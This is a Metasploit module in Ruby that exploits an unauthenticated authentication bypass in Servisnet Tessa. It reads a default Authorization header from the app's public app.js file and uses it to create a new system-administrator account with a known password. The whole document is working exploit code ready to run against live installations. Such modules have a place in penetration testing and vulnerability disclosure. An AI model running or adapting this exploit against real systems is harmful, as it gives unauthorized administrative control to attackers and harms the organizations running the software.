##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)',
      'Description'    => %q(
        This module exploits an authentication bypass in Servisnet Tessa, triggered by add new sysadmin user.
		The app.js is publicly available which acts as the backend of the application.
                By exposing a default value for the "Authorization" HTTP header, 
                it is possible to make unauthenticated requests to some areas of the application. 
                Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method.
                A new admin user can be added to the database with this header obtained in the source code.		

      ),
      'References'     =>
        [
          [ 'CVE', '' ],
          [ 'URL', 'https://pentest.com.tr/exploits/Servisnet-Tessa-Add-sysAdmin-User-Unauthenticated.html' ],
          [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]
        ],
      'Author'         =>
        [
          'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Dec 22 2021",
      'DefaultOptions' =>
        {
          'RPORT' => 443,
          'SSL'   => true
        }
    ))

    register_options([
        OptString.new('TARGETURI',  [true, 'Base path for application', '/'])
    ])
  end
  # split strings to salt
  def split(data, string_to_split)  
    word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
    string = word.split('"]').join('').split('["').join('')
    return string
  end 
  # for Origin and Referer headers

  def app_path
    res = send_request_cgi({
    # default.a.get( check 
      'uri'     => normalize_uri(target_uri.path, 'js', 'app.js'),
	  'method'  => 'GET'
    })  	
	
    if res && res.code == 200 && res.body =~ /baseURL/
      data = res.body
      #word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
      base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]
      print_status("baseURL: #{base_url}")  
      return base_url
    else
      fail_with(Failure::NotVulnerable, 'baseURL not found!')
    end
  end

  def add_user
     token = auth_bypass
     newuser = Rex::Text.rand_text_alpha_lower(8)	
     id = Rex::Text.rand_text_numeric(4)   
     # encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111
     json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'

     res = send_request_cgi(
       {
       'method' => 'POST',
       'ctype'  => 'application/json',
       'uri' => normalize_uri(target_uri.path, app_path, 'users'),
       'headers' =>
         {
           'Authorization' => token
         },
       'data' => json_data
      })

      if res && res.code == 200 && res.body =~ /localhost/
        print_good("The sysAdmin authorized user has been successfully added.")
        print_status("Username: #{newuser}")
        print_status("Password: 1111111111")
      else
        fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')
      end
  end

  def auth_bypass

    res = send_request_cgi({
    # default.a.defaults.headers.post["Authorization"] check 
      'uri'     => normalize_uri(target_uri.path, 'js', 'app.js'),
	  'method'  => 'GET'
    })  	
	
    if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/
	  token = split(res.body, 'Authorization')
	  print_status("Authorization: #{token}")  
          return token
	else
	  fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
	end

  end

  def check 	
	
    if auth_bypass =~ /Basic/ 
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end
  
  def run
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    add_user    
  end
end